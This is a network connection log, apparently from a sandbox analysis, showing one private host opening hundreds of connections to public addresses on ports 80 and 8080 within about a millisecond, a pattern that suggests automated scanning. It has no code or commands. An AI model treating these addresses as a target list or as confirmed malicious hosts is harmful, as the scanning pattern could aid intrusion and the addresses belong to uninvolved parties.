Mar 21, 2024 05:21:47.391890049 CET	50480	80	192.168.2.13	178.47.184.40
Mar 21, 2024 05:21:47.391910076 CET	49712	8080	192.168.2.13	184.48.87.205
Mar 21, 2024 05:21:47.391911030 CET	49712	8080	192.168.2.13	98.171.21.228
Mar 21, 2024 05:21:47.391911030 CET	50480	80	192.168.2.13	178.223.213.140
Mar 21, 2024 05:21:47.391911030 CET	49712	8080	192.168.2.13	184.213.32.170
Mar 21, 2024 05:21:47.391932964 CET	49712	8080	192.168.2.13	184.185.98.103
Mar 21, 2024 05:21:47.391932964 CET	49712	8080	192.168.2.13	172.216.214.110
Mar 21, 2024 05:21:47.391946077 CET	49712	8080	192.168.2.13	172.13.90.147
Mar 21, 2024 05:21:47.391951084 CET	49712	8080	192.168.2.13	172.230.244.88
Mar 21, 2024 05:21:47.391952991 CET	50480	80	192.168.2.13	178.111.227.95
Mar 21, 2024 05:21:47.391952991 CET	49712	8080	192.168.2.13	184.204.50.175
Mar 21, 2024 05:21:47.391956091 CET	50480	80	192.168.2.13	178.56.182.128
Mar 21, 2024 05:21:47.391973972 CET	49712	8080	192.168.2.13	172.232.254.83
Mar 21, 2024 05:21:47.391977072 CET	50480	80	192.168.2.13	178.150.57.224
Mar 21, 2024 05:21:47.391977072 CET	49712	8080	192.168.2.13	172.245.254.102
Mar 21, 2024 05:21:47.391977072 CET	49712	8080	192.168.2.13	184.206.22.12
Mar 21, 2024 05:21:47.391979933 CET	50480	80	192.168.2.13	178.150.132.93
Mar 21, 2024 05:21:47.391979933 CET	50480	80	192.168.2.13	178.106.246.38
Mar 21, 2024 05:21:47.391980886 CET	49712	8080	192.168.2.13	172.60.187.41
Mar 21, 2024 05:21:47.391983986 CET	49712	8080	192.168.2.13	98.254.244.12
Mar 21, 2024 05:21:47.391983986 CET	49712	8080	192.168.2.13	98.58.230.9
Mar 21, 2024 05:21:47.391983986 CET	49712	8080	192.168.2.13	172.232.183.138
Mar 21, 2024 05:21:47.391993046 CET	50480	80	192.168.2.13	178.150.127.206
Mar 21, 2024 05:21:47.391997099 CET	50480	80	192.168.2.13	178.182.19.6
Mar 21, 2024 05:21:47.391997099 CET	50480	80	192.168.2.13	178.200.49.202
Mar 21, 2024 05:21:47.391997099 CET	49712	8080	192.168.2.13	184.111.51.200
Mar 21, 2024 05:21:47.391999006 CET	49712	8080	192.168.2.13	98.120.85.153
Mar 21, 2024 05:21:47.391999006 CET	49712	8080	192.168.2.13	98.31.12.203
Mar 21, 2024 05:21:47.392003059 CET	49712	8080	192.168.2.13	172.154.21.32
Mar 21, 2024 05:21:47.392014027 CET	50480	80	192.168.2.13	178.28.222.0
Mar 21, 2024 05:21:47.392015934 CET	49712	8080	192.168.2.13	172.152.250.176
Mar 21, 2024 05:21:47.392016888 CET	50480	80	192.168.2.13	178.65.187.74
Mar 21, 2024 05:21:47.392016888 CET	50480	80	192.168.2.13	178.212.96.138
Mar 21, 2024 05:21:47.392025948 CET	49712	8080	192.168.2.13	172.78.118.7
Mar 21, 2024 05:21:47.392028093 CET	49712	8080	192.168.2.13	184.210.73.190
Mar 21, 2024 05:21:47.392041922 CET	50480	80	192.168.2.13	178.230.146.5
Mar 21, 2024 05:21:47.392040968 CET	50480	80	192.168.2.13	178.104.130.31
Mar 21, 2024 05:21:47.392041922 CET	49712	8080	192.168.2.13	172.32.55.227
Mar 21, 2024 05:21:47.392041922 CET	50480	80	192.168.2.13	178.98.177.235
Mar 21, 2024 05:21:47.392050028 CET	50480	80	192.168.2.13	178.156.177.185
Mar 21, 2024 05:21:47.392050982 CET	50480	80	192.168.2.13	178.209.138.152
Mar 21, 2024 05:21:47.392050982 CET	50480	80	192.168.2.13	178.42.210.64
Mar 21, 2024 05:21:47.392050982 CET	49712	8080	192.168.2.13	172.116.158.59
Mar 21, 2024 05:21:47.392050982 CET	49712	8080	192.168.2.13	98.178.51.73
Mar 21, 2024 05:21:47.392050982 CET	50480	80	192.168.2.13	178.9.11.180
Mar 21, 2024 05:21:47.392059088 CET	50480	80	192.168.2.13	178.206.147.219
Mar 21, 2024 05:21:47.392059088 CET	49712	8080	192.168.2.13	98.22.161.144
Mar 21, 2024 05:21:47.392066956 CET	49712	8080	192.168.2.13	184.125.172.213
Mar 21, 2024 05:21:47.392070055 CET	50480	80	192.168.2.13	178.175.53.220
Mar 21, 2024 05:21:47.392070055 CET	49712	8080	192.168.2.13	184.73.196.68
Mar 21, 2024 05:21:47.392076015 CET	50480	80	192.168.2.13	178.59.100.244
Mar 21, 2024 05:21:47.392081976 CET	49712	8080	192.168.2.13	184.77.226.236
Mar 21, 2024 05:21:47.392081976 CET	49712	8080	192.168.2.13	172.25.229.214
Mar 21, 2024 05:21:47.392082930 CET	50480	80	192.168.2.13	178.56.136.240
Mar 21, 2024 05:21:47.392082930 CET	50480	80	192.168.2.13	178.251.84.195
Mar 21, 2024 05:21:47.392088890 CET	49712	8080	192.168.2.13	98.169.128.254
Mar 21, 2024 05:21:47.392088890 CET	49712	8080	192.168.2.13	184.173.123.86
Mar 21, 2024 05:21:47.392088890 CET	49712	8080	192.168.2.13	184.230.124.50
Mar 21, 2024 05:21:47.392093897 CET	49712	8080	192.168.2.13	98.140.128.50
Mar 21, 2024 05:21:47.392097950 CET	49712	8080	192.168.2.13	98.94.115.122
Mar 21, 2024 05:21:47.392097950 CET	50480	80	192.168.2.13	178.151.95.172
Mar 21, 2024 05:21:47.392123938 CET	50480	80	192.168.2.13	178.12.68.178
Mar 21, 2024 05:21:47.392123938 CET	50480	80	192.168.2.13	178.140.94.7
Mar 21, 2024 05:21:47.392123938 CET	49712	8080	192.168.2.13	172.234.252.160
Mar 21, 2024 05:21:47.392124891 CET	49712	8080	192.168.2.13	184.223.183.23
Mar 21, 2024 05:21:47.392127991 CET	50480	80	192.168.2.13	178.125.59.202
Mar 21, 2024 05:21:47.392123938 CET	50480	80	192.168.2.13	178.86.132.14
Mar 21, 2024 05:21:47.392123938 CET	50480	80	192.168.2.13	178.100.24.178
Mar 21, 2024 05:21:47.392123938 CET	49712	8080	192.168.2.13	98.213.111.145
Mar 21, 2024 05:21:47.392124891 CET	49712	8080	192.168.2.13	172.111.230.172
Mar 21, 2024 05:21:47.392139912 CET	49712	8080	192.168.2.13	172.110.36.50
Mar 21, 2024 05:21:47.392139912 CET	49712	8080	192.168.2.13	172.121.193.24
Mar 21, 2024 05:21:47.392143965 CET	49712	8080	192.168.2.13	184.254.230.102
Mar 21, 2024 05:21:47.392143965 CET	49712	8080	192.168.2.13	184.31.48.15
Mar 21, 2024 05:21:47.392157078 CET	50480	80	192.168.2.13	178.138.136.33
Mar 21, 2024 05:21:47.392157078 CET	50480	80	192.168.2.13	178.143.98.16
Mar 21, 2024 05:21:47.392157078 CET	49712	8080	192.168.2.13	184.135.74.79
Mar 21, 2024 05:21:47.392158031 CET	50480	80	192.168.2.13	178.37.192.59
Mar 21, 2024 05:21:47.392158031 CET	49712	8080	192.168.2.13	184.162.51.239
Mar 21, 2024 05:21:47.392194033 CET	49712	8080	192.168.2.13	184.0.155.221
Mar 21, 2024 05:21:47.392194986 CET	49712	8080	192.168.2.13	98.67.97.85
Mar 21, 2024 05:21:47.392194986 CET	50480	80	192.168.2.13	178.191.27.125
Mar 21, 2024 05:21:47.392200947 CET	50480	80	192.168.2.13	178.119.20.30
Mar 21, 2024 05:21:47.392194986 CET	50480	80	192.168.2.13	178.57.37.178
Mar 21, 2024 05:21:47.392194986 CET	49712	8080	192.168.2.13	98.150.85.207
Mar 21, 2024 05:21:47.392206907 CET	49712	8080	192.168.2.13	172.224.167.22
Mar 21, 2024 05:21:47.392206907 CET	49712	8080	192.168.2.13	98.183.72.85
Mar 21, 2024 05:21:47.392225981 CET	49712	8080	192.168.2.13	98.157.67.223
Mar 21, 2024 05:21:47.392225981 CET	49712	8080	192.168.2.13	98.130.203.68
Mar 21, 2024 05:21:47.392226934 CET	49712	8080	192.168.2.13	98.1.1.44
Mar 21, 2024 05:21:47.392226934 CET	50480	80	192.168.2.13	178.164.132.217
Mar 21, 2024 05:21:47.392227888 CET	49712	8080	192.168.2.13	184.236.121.132
Mar 21, 2024 05:21:47.392226934 CET	50480	80	192.168.2.13	178.80.240.244
Mar 21, 2024 05:21:47.392226934 CET	49712	8080	192.168.2.13	98.218.180.145
Mar 21, 2024 05:21:47.392226934 CET	49712	8080	192.168.2.13	184.246.140.61
Mar 21, 2024 05:21:47.392240047 CET	50480	80	192.168.2.13	178.185.238.141
Mar 21, 2024 05:21:47.392240047 CET	49712	8080	192.168.2.13	172.62.224.158
Mar 21, 2024 05:21:47.392242908 CET	49712	8080	192.168.2.13	184.95.206.46
Mar 21, 2024 05:21:47.392242908 CET	49712	8080	192.168.2.13	172.58.249.237
Mar 21, 2024 05:21:47.392261028 CET	49712	8080	192.168.2.13	184.27.175.84
Mar 21, 2024 05:21:47.392321110 CET	50480	80	192.168.2.13	178.166.239.157
Mar 21, 2024 05:21:47.392321110 CET	49712	8080	192.168.2.13	184.128.195.151
Mar 21, 2024 05:21:47.392327070 CET	49712	8080	192.168.2.13	184.89.211.230
Mar 21, 2024 05:21:47.392321110 CET	50480	80	192.168.2.13	178.196.218.162
Mar 21, 2024 05:21:47.392321110 CET	49712	8080	192.168.2.13	98.134.215.184
Mar 21, 2024 05:21:47.392333031 CET	49712	8080	192.168.2.13	184.87.123.98
Mar 21, 2024 05:21:47.392333031 CET	49712	8080	192.168.2.13	98.111.233.158
Mar 21, 2024 05:21:47.392333031 CET	49712	8080	192.168.2.13	172.249.245.77
Mar 21, 2024 05:21:47.392333031 CET	49712	8080	192.168.2.13	184.248.89.156
Mar 21, 2024 05:21:47.392333031 CET	50480	80	192.168.2.13	178.59.185.195
Mar 21, 2024 05:21:47.392352104 CET	50480	80	192.168.2.13	178.209.131.232
Mar 21, 2024 05:21:47.392365932 CET	50480	80	192.168.2.13	178.78.39.211
Mar 21, 2024 05:21:47.392369986 CET	50480	80	192.168.2.13	178.120.239.143
Mar 21, 2024 05:21:47.392385960 CET	50480	80	192.168.2.13	178.77.99.195
Mar 21, 2024 05:21:47.392385960 CET	50480	80	192.168.2.13	178.10.101.243
Mar 21, 2024 05:21:47.392410040 CET	50480	80	192.168.2.13	178.244.117.252
Mar 21, 2024 05:21:47.392415047 CET	50480	80	192.168.2.13	178.230.217.75
Mar 21, 2024 05:21:47.392416000 CET	50224	80	192.168.2.13	202.83.146.102
Mar 21, 2024 05:21:47.392416000 CET	50480	80	192.168.2.13	178.252.224.192
Mar 21, 2024 05:21:47.392416000 CET	50224	80	192.168.2.13	206.225.75.182
Mar 21, 2024 05:21:47.392417908 CET	50224	8080	192.168.2.13	108.103.149.166
Mar 21, 2024 05:21:47.392417908 CET	50480	80	192.168.2.13	178.165.233.158
Mar 21, 2024 05:21:47.392417908 CET	50224	80	192.168.2.13	212.36.237.184
Mar 21, 2024 05:21:47.392426014 CET	50224	80	192.168.2.13	130.178.216.166
Mar 21, 2024 05:21:47.392426014 CET	50480	80	192.168.2.13	178.178.54.157
Mar 21, 2024 05:21:47.392426014 CET	50480	80	192.168.2.13	178.131.153.204
Mar 21, 2024 05:21:47.392433882 CET	49712	8080	192.168.2.13	184.114.0.155
Mar 21, 2024 05:21:47.392433882 CET	49712	8080	192.168.2.13	184.175.147.79
Mar 21, 2024 05:21:47.392433882 CET	50480	80	192.168.2.13	178.233.98.251
Mar 21, 2024 05:21:47.392441034 CET	50480	80	192.168.2.13	178.58.91.10
Mar 21, 2024 05:21:47.392442942 CET	50224	80	192.168.2.13	212.185.88.214
Mar 21, 2024 05:21:47.392463923 CET	50480	80	192.168.2.13	178.107.220.189
Mar 21, 2024 05:21:47.392468929 CET	50480	80	192.168.2.13	178.169.109.244
Mar 21, 2024 05:21:47.392468929 CET	50480	80	192.168.2.13	178.208.188.157
Mar 21, 2024 05:21:47.392468929 CET	50480	80	192.168.2.13	178.81.85.139
Mar 21, 2024 05:21:47.392468929 CET	50224	80	192.168.2.13	4.168.21.52
Mar 21, 2024 05:21:47.392472029 CET	50224	80	192.168.2.13	124.60.55.142
Mar 21, 2024 05:21:47.392472029 CET	50224	80	192.168.2.13	212.12.199.236
Mar 21, 2024 05:21:47.392477036 CET	50224	80	192.168.2.13	207.49.67.93
Mar 21, 2024 05:21:47.392484903 CET	50224	8080	192.168.2.13	212.69.40.185
Mar 21, 2024 05:21:47.392503977 CET	50224	80	192.168.2.13	27.130.210.112
Mar 21, 2024 05:21:47.392503977 CET	50480	80	192.168.2.13	178.171.137.162
Mar 21, 2024 05:21:47.392503977 CET	50224	80	192.168.2.13	135.57.80.108
Mar 21, 2024 05:21:47.392510891 CET	50480	80	192.168.2.13	178.124.15.113
Mar 21, 2024 05:21:47.392510891 CET	50480	80	192.168.2.13	178.19.116.51
Mar 21, 2024 05:21:47.392510891 CET	50480	80	192.168.2.13	178.205.27.15
Mar 21, 2024 05:21:47.392518997 CET	50480	80	192.168.2.13	178.215.27.250
Mar 21, 2024 05:21:47.392518997 CET	50480	80	192.168.2.13	178.37.36.32
Mar 21, 2024 05:21:47.392524958 CET	50480	80	192.168.2.13	178.230.69.90
Mar 21, 2024 05:21:47.392525911 CET	50480	80	192.168.2.13	178.121.52.68
Mar 21, 2024 05:21:47.392525911 CET	50480	80	192.168.2.13	178.72.86.18
Mar 21, 2024 05:21:47.392532110 CET	50480	80	192.168.2.13	178.213.134.53
Mar 21, 2024 05:21:47.392532110 CET	50224	80	192.168.2.13	212.41.139.198
Mar 21, 2024 05:21:47.392532110 CET	50224	80	192.168.2.13	212.198.51.133
Mar 21, 2024 05:21:47.392532110 CET	50480	80	192.168.2.13	178.30.7.212
Mar 21, 2024 05:21:47.392534018 CET	50224	80	192.168.2.13	78.112.152.101
Mar 21, 2024 05:21:47.392534018 CET	50224	80	192.168.2.13	212.234.36.181
Mar 21, 2024 05:21:47.392534018 CET	50480	80	192.168.2.13	178.185.106.252
Mar 21, 2024 05:21:47.392534018 CET	50224	80	192.168.2.13	212.241.158.67
Mar 21, 2024 05:21:47.392534018 CET	50480	80	192.168.2.13	178.250.39.166
Mar 21, 2024 05:21:47.392539024 CET	50224	80	192.168.2.13	212.21.212.18
Mar 21, 2024 05:21:47.392544985 CET	50480	80	192.168.2.13	178.199.120.195
Mar 21, 2024 05:21:47.392544985 CET	50480	80	192.168.2.13	178.46.232.229
Mar 21, 2024 05:21:47.392548084 CET	50480	80	192.168.2.13	178.120.80.3
Mar 21, 2024 05:21:47.392549992 CET	50480	80	192.168.2.13	178.195.60.117
Mar 21, 2024 05:21:47.392560005 CET	50224	80	192.168.2.13	212.159.229.166
Mar 21, 2024 05:21:47.392560005 CET	50480	80	192.168.2.13	178.44.115.79
Mar 21, 2024 05:21:47.392560005 CET	50224	80	192.168.2.13	212.177.238.96
Mar 21, 2024 05:21:47.392565966 CET	50480	80	192.168.2.13	178.1.83.4
Mar 21, 2024 05:21:47.392565966 CET	50224	80	192.168.2.13	193.93.43.17
Mar 21, 2024 05:21:47.392568111 CET	50224	80	192.168.2.13	87.17.26.222
Mar 21, 2024 05:21:47.392582893 CET	50480	80	192.168.2.13	178.149.48.207
Mar 21, 2024 05:21:47.392586946 CET	50224	80	192.168.2.13	212.154.146.219
Mar 21, 2024 05:21:47.392586946 CET	50224	80	192.168.2.13	212.235.140.228
Mar 21, 2024 05:21:47.392595053 CET	50224	80	192.168.2.13	173.162.247.27
Mar 21, 2024 05:21:47.392596960 CET	50224	80	192.168.2.13	126.125.191.158
Mar 21, 2024 05:21:47.392611027 CET	50224	8080	192.168.2.13	27.29.117.92
Mar 21, 2024 05:21:47.392611027 CET	50224	80	192.168.2.13	212.202.217.195
Mar 21, 2024 05:21:47.392611027 CET	50224	80	192.168.2.13	212.100.207.65
Mar 21, 2024 05:21:47.392611027 CET	50480	80	192.168.2.13	178.65.171.203
Mar 21, 2024 05:21:47.392613888 CET	50224	80	192.168.2.13	149.50.224.173
Mar 21, 2024 05:21:47.392613888 CET	50224	8080	192.168.2.13	83.254.88.42
Mar 21, 2024 05:21:47.392623901 CET	50480	80	192.168.2.13	178.43.151.23
Mar 21, 2024 05:21:47.392630100 CET	50480	80	192.168.2.13	178.207.17.212
Mar 21, 2024 05:21:47.392631054 CET	50480	80	192.168.2.13	178.129.77.221
Mar 21, 2024 05:21:47.392631054 CET	50480	80	192.168.2.13	178.240.77.250
Mar 21, 2024 05:21:47.392641068 CET	50480	80	192.168.2.13	178.241.125.42
Mar 21, 2024 05:21:47.392642021 CET	50224	80	192.168.2.13	192.221.232.147
Mar 21, 2024 05:21:47.392647982 CET	50224	80	192.168.2.13	212.11.47.67
Mar 21, 2024 05:21:47.392647982 CET	50224	80	192.168.2.13	44.57.34.144
Mar 21, 2024 05:21:47.392647982 CET	50224	80	192.168.2.13	108.160.196.47
Mar 21, 2024 05:21:47.392647982 CET	50480	80	192.168.2.13	178.65.228.119
Mar 21, 2024 05:21:47.392654896 CET	50480	80	192.168.2.13	178.219.39.3
Mar 21, 2024 05:21:47.392654896 CET	50224	80	192.168.2.13	212.61.90.39
Mar 21, 2024 05:21:47.392654896 CET	50480	80	192.168.2.13	178.161.183.19
Mar 21, 2024 05:21:47.392659903 CET	50480	80	192.168.2.13	178.27.16.21
Mar 21, 2024 05:21:47.392663956 CET	50480	80	192.168.2.13	178.179.230.115
Mar 21, 2024 05:21:47.392677069 CET	50224	80	192.168.2.13	57.65.45.78
Mar 21, 2024 05:21:47.392678976 CET	50224	80	192.168.2.13	212.91.131.40
Mar 21, 2024 05:21:47.392678976 CET	50480	80	192.168.2.13	178.19.253.146
Mar 21, 2024 05:21:47.392678976 CET	50480	80	192.168.2.13	178.207.113.142
Mar 21, 2024 05:21:47.392678976 CET	50480	80	192.168.2.13	178.69.54.13
Mar 21, 2024 05:21:47.392684937 CET	50480	80	192.168.2.13	178.167.147.101
Mar 21, 2024 05:21:47.392695904 CET	50480	80	192.168.2.13	178.188.230.6
Mar 21, 2024 05:21:47.392695904 CET	50224	80	192.168.2.13	212.183.212.177
Mar 21, 2024 05:21:47.392697096 CET	50480	80	192.168.2.13	178.209.242.67
Mar 21, 2024 05:21:47.392704964 CET	50224	80	192.168.2.13	43.105.135.14
Mar 21, 2024 05:21:47.392704964 CET	50480	80	192.168.2.13	178.35.20.155
Mar 21, 2024 05:21:47.392715931 CET	50480	80	192.168.2.13	178.75.60.202
Mar 21, 2024 05:21:47.392729044 CET	50224	8080	192.168.2.13	44.255.159.254
Mar 21, 2024 05:21:47.392733097 CET	50480	80	192.168.2.13	178.114.246.80
Mar 21, 2024 05:21:47.392735004 CET	50224	80	192.168.2.13	120.116.17.47
Mar 21, 2024 05:21:47.392735004 CET	50480	80	192.168.2.13	178.26.108.208
Mar 21, 2024 05:21:47.392735004 CET	50480	80	192.168.2.13	178.114.107.100
Mar 21, 2024 05:21:47.392741919 CET	50480	80	192.168.2.13	178.214.49.36
Mar 21, 2024 05:21:47.392741919 CET	50224	80	192.168.2.13	212.117.73.97
Mar 21, 2024 05:21:47.392743111 CET	50480	80	192.168.2.13	178.18.202.32
Mar 21, 2024 05:21:47.392748117 CET	50224	80	192.168.2.13	210.201.16.105
Mar 21, 2024 05:21:47.392748117 CET	50224	80	192.168.2.13	212.156.140.54
Mar 21, 2024 05:21:47.392748117 CET	50224	80	192.168.2.13	134.108.152.200
Mar 21, 2024 05:21:47.392748117 CET	50224	80	192.168.2.13	212.161.132.6
Mar 21, 2024 05:21:47.392760038 CET	50480	80	192.168.2.13	178.255.55.227
Mar 21, 2024 05:21:47.392765045 CET	50480	80	192.168.2.13	178.199.53.249
Mar 21, 2024 05:21:47.392766953 CET	50224	80	192.168.2.13	212.174.226.11
Mar 21, 2024 05:21:47.392774105 CET	50480	80	192.168.2.13	178.197.25.52
Mar 21, 2024 05:21:47.392777920 CET	50224	80	192.168.2.13	72.65.168.189
Mar 21, 2024 05:21:47.392777920 CET	50224	80	192.168.2.13	212.218.188.19
Mar 21, 2024 05:21:47.392781973 CET	50480	80	192.168.2.13	178.31.57.214
Mar 21, 2024 05:21:47.392781973 CET	50224	8080	192.168.2.13	53.162.91.1
Mar 21, 2024 05:21:47.392782927 CET	50224	80	192.168.2.13	40.210.37.232
Mar 21, 2024 05:21:47.392786026 CET	50480	80	192.168.2.13	178.241.141.34
Mar 21, 2024 05:21:47.392791033 CET	50480	80	192.168.2.13	178.136.169.129
Mar 21, 2024 05:21:47.392803907 CET	50224	80	192.168.2.13	42.105.239.105
Mar 21, 2024 05:21:47.392807961 CET	50224	80	192.168.2.13	212.150.255.151
Mar 21, 2024 05:21:47.392808914 CET	50480	80	192.168.2.13	178.219.81.31
Mar 21, 2024 05:21:47.392812014 CET	50224	80	192.168.2.13	212.94.164.181
Mar 21, 2024 05:21:47.392822981 CET	50224	80	192.168.2.13	212.222.175.14
Mar 21, 2024 05:21:47.392823935 CET	50224	80	192.168.2.13	212.174.237.184
Mar 21, 2024 05:21:47.392836094 CET	50224	80	192.168.2.13	212.23.159.46
Mar 21, 2024 05:21:47.392837048 CET	50224	80	192.168.2.13	103.209.27.255
Mar 21, 2024 05:21:47.392836094 CET	50480	80	192.168.2.13	178.34.65.246
Mar 21, 2024 05:21:47.392837048 CET	50224	8080	192.168.2.13	69.23.226.152
Mar 21, 2024 05:21:47.392846107 CET	50224	80	192.168.2.13	212.60.69.101
Mar 21, 2024 05:21:47.392849922 CET	50480	80	192.168.2.13	178.247.118.233
Mar 21, 2024 05:21:47.392849922 CET	50224	80	192.168.2.13	173.3.130.110
Mar 21, 2024 05:21:47.392852068 CET	50224	80	192.168.2.13	212.229.132.175
Mar 21, 2024 05:21:47.392852068 CET	50224	80	192.168.2.13	53.72.59.57
Mar 21, 2024 05:21:47.392852068 CET	50480	80	192.168.2.13	178.134.139.33
Mar 21, 2024 05:21:47.392858982 CET	50224	80	192.168.2.13	206.207.168.74
Mar 21, 2024 05:21:47.392858982 CET	50480	80	192.168.2.13	178.148.46.122
Mar 21, 2024 05:21:47.392878056 CET	50224	80	192.168.2.13	200.71.196.183
Mar 21, 2024 05:21:47.392878056 CET	50480	80	192.168.2.13	178.120.175.54
Mar 21, 2024 05:21:47.392888069 CET	50480	80	192.168.2.13	178.24.55.91
Mar 21, 2024 05:21:47.392888069 CET	50224	80	192.168.2.13	212.71.196.238
Mar 21, 2024 05:21:47.392890930 CET	50480	80	192.168.2.13	178.44.203.225
Mar 21, 2024 05:21:47.392890930 CET	50224	80	192.168.2.13	69.177.198.159
Mar 21, 2024 05:21:47.392890930 CET	50224	80	192.168.2.13	150.160.25.104
Mar 21, 2024 05:21:47.392890930 CET	50224	8080	192.168.2.13	212.88.1.47
Mar 21, 2024 05:21:47.392890930 CET	50480	80	192.168.2.13	178.203.149.119
Mar 21, 2024 05:21:47.392901897 CET	50224	80	192.168.2.13	220.0.23.179
Mar 21, 2024 05:21:47.392903090 CET	50480	80	192.168.2.13	178.74.247.113
Mar 21, 2024 05:21:47.392914057 CET	50224	80	192.168.2.13	212.216.198.89
Mar 21, 2024 05:21:47.392915964 CET	50480	80	192.168.2.13	178.21.63.12
Mar 21, 2024 05:21:47.392920971 CET	50480	80	192.168.2.13	178.167.46.114
Mar 21, 2024 05:21:47.392923117 CET	50480	80	192.168.2.13	178.231.228.4
Mar 21, 2024 05:21:47.392923117 CET	50480	80	192.168.2.13	178.159.196.216
Mar 21, 2024 05:21:47.392923117 CET	50480	80	192.168.2.13	178.67.112.216
Mar 21, 2024 05:21:47.392925024 CET	50480	80	192.168.2.13	178.171.182.72
Mar 21, 2024 05:21:47.392925024 CET	50480	80	192.168.2.13	178.130.223.148
Mar 21, 2024 05:21:47.392937899 CET	50224	80	192.168.2.13	108.70.143.121
Mar 21, 2024 05:21:47.392937899 CET	50480	80	192.168.2.13	178.109.7.58
Mar 21, 2024 05:21:47.392939091 CET	50480	80	192.168.2.13	178.228.33.49
Mar 21, 2024 05:21:47.392939091 CET	50224	80	192.168.2.13	81.128.97.60
Mar 21, 2024 05:21:47.392942905 CET	50480	80	192.168.2.13	178.212.64.23
Mar 21, 2024 05:21:47.392944098 CET	50480	80	192.168.2.13	178.139.41.95
Mar 21, 2024 05:21:47.392975092 CET	50224	80	192.168.2.13	212.134.242.18
Mar 21, 2024 05:21:47.392976046 CET	50480	80	192.168.2.13	178.145.126.31
Mar 21, 2024 05:21:47.392976046 CET	50224	80	192.168.2.13	212.18.0.200
Mar 21, 2024 05:21:47.392976046 CET	50224	80	192.168.2.13	212.58.42.87
Mar 21, 2024 05:21:47.392976999 CET	50480	80	192.168.2.13	178.18.70.151
Mar 21, 2024 05:21:47.392976046 CET	50224	80	192.168.2.13	31.230.243.41
Mar 21, 2024 05:21:47.392976046 CET	50480	80	192.168.2.13	178.7.69.87
Mar 21, 2024 05:21:47.392976999 CET	50224	8080	192.168.2.13	77.145.208.195
Mar 21, 2024 05:21:47.392985106 CET	50480	80	192.168.2.13	178.150.130.36
Mar 21, 2024 05:21:47.392992973 CET	50224	80	192.168.2.13	57.197.155.249
Mar 21, 2024 05:21:47.392992973 CET	50224	80	192.168.2.13	212.119.157.57
Mar 21, 2024 05:21:47.392993927 CET	50224	80	192.168.2.13	212.144.53.214
Mar 21, 2024 05:21:47.392993927 CET	50224	80	192.168.2.13	212.239.109.33
Mar 21, 2024 05:21:47.392993927 CET	50224	80	192.168.2.13	212.243.146.205
Mar 21, 2024 05:21:47.393003941 CET	50224	80	192.168.2.13	212.132.206.14
Mar 21, 2024 05:21:47.393003941 CET	50480	80	192.168.2.13	178.58.160.93
Mar 21, 2024 05:21:47.393003941 CET	50480	80	192.168.2.13	178.208.249.187
Mar 21, 2024 05:21:47.393007994 CET	50480	80	192.168.2.13	178.108.225.146
Mar 21, 2024 05:21:47.393007994 CET	50224	80	192.168.2.13	212.32.125.238
Mar 21, 2024 05:21:47.393009901 CET	50224	80	192.168.2.13	19.113.169.178
Mar 21, 2024 05:21:47.393011093 CET	50480	80	192.168.2.13	178.57.87.138
Mar 21, 2024 05:21:47.393017054 CET	50224	80	192.168.2.13	132.203.203.238
Mar 21, 2024 05:21:47.393012047 CET	50480	80	192.168.2.13	178.197.132.194
Mar 21, 2024 05:21:47.393018007 CET	50480	80	192.168.2.13	178.98.131.136
Mar 21, 2024 05:21:47.393021107 CET	50480	80	192.168.2.13	178.137.197.140
Mar 21, 2024 05:21:47.393021107 CET	50224	80	192.168.2.13	212.2.83.91
Mar 21, 2024 05:21:47.393023968 CET	50480	80	192.168.2.13	178.201.32.109
Mar 21, 2024 05:21:47.393023968 CET	50480	80	192.168.2.13	178.249.88.88
Mar 21, 2024 05:21:47.393029928 CET	50480	80	192.168.2.13	178.49.165.47
Mar 21, 2024 05:21:47.393023968 CET	50480	80	192.168.2.13	178.76.69.12
Mar 21, 2024 05:21:47.393023968 CET	50224	80	192.168.2.13	212.129.2.164
Mar 21, 2024 05:21:47.393023968 CET	50480	80	192.168.2.13	178.183.47.243
Mar 21, 2024 05:21:47.393023968 CET	50224	8080	192.168.2.13	212.145.228.100
Mar 21, 2024 05:21:47.393023968 CET	50480	80	192.168.2.13	178.70.149.172
Mar 21, 2024 05:21:47.393035889 CET	50480	80	192.168.2.13	178.223.189.60
Mar 21, 2024 05:21:47.393035889 CET	50224	80	192.168.2.13	212.48.118.151
Mar 21, 2024 05:21:47.393035889 CET	50480	80	192.168.2.13	178.133.153.72
Mar 21, 2024 05:21:47.393040895 CET	50224	80	192.168.2.13	212.127.210.28
Mar 21, 2024 05:21:47.393050909 CET	50480	80	192.168.2.13	178.92.101.28
Mar 21, 2024 05:21:47.393050909 CET	50480	80	192.168.2.13	178.81.93.93
Mar 21, 2024 05:21:47.393063068 CET	50480	80	192.168.2.13	178.60.185.72
Mar 21, 2024 05:21:47.393063068 CET	50480	80	192.168.2.13	178.246.17.147
Mar 21, 2024 05:21:47.393070936 CET	50224	80	192.168.2.13	212.64.141.101
Mar 21, 2024 05:21:47.393070936 CET	50224	80	192.168.2.13	212.120.246.191
Mar 21, 2024 05:21:47.393071890 CET	50480	80	192.168.2.13	178.117.75.42
Mar 21, 2024 05:21:47.393076897 CET	50480	80	192.168.2.13	178.220.126.45
Mar 21, 2024 05:21:47.393078089 CET	50224	80	192.168.2.13	212.138.127.211
Mar 21, 2024 05:21:47.393084049 CET	50224	80	192.168.2.13	175.183.209.77
Mar 21, 2024 05:21:47.393089056 CET	50224	80	192.168.2.13	212.84.61.77
Mar 21, 2024 05:21:47.393099070 CET	50224	80	192.168.2.13	200.71.59.112
Mar 21, 2024 05:21:47.393101931 CET	50480	80	192.168.2.13	178.212.121.141
Mar 21, 2024 05:21:47.393101931 CET	50480	80	192.168.2.13	178.38.3.5
Mar 21, 2024 05:21:47.393102884 CET	50480	80	192.168.2.13	178.153.215.239
Mar 21, 2024 05:21:47.393106937 CET	50480	80	192.168.2.13	178.136.38.237
Mar 21, 2024 05:21:47.393106937 CET	50224	8080	192.168.2.13	221.161.217.171
Mar 21, 2024 05:21:47.393116951 CET	50480	80	192.168.2.13	178.61.118.70
Mar 21, 2024 05:21:47.393126011 CET	50480	80	192.168.2.13	178.43.173.69
Mar 21, 2024 05:21:47.393126011 CET	50480	80	192.168.2.13	178.169.149.27
Mar 21, 2024 05:21:47.393127918 CET	50224	80	192.168.2.13	212.182.216.179
Mar 21, 2024 05:21:47.393127918 CET	50224	80	192.168.2.13	212.98.21.26
Mar 21, 2024 05:21:47.393134117 CET	50480	80	192.168.2.13	178.109.140.41
Mar 21, 2024 05:21:47.393134117 CET	50480	80	192.168.2.13	178.118.106.187
Mar 21, 2024 05:21:47.393141031 CET	50480	80	192.168.2.13	178.153.165.88
Mar 21, 2024 05:21:47.393141985 CET	50224	80	192.168.2.13	133.21.11.89
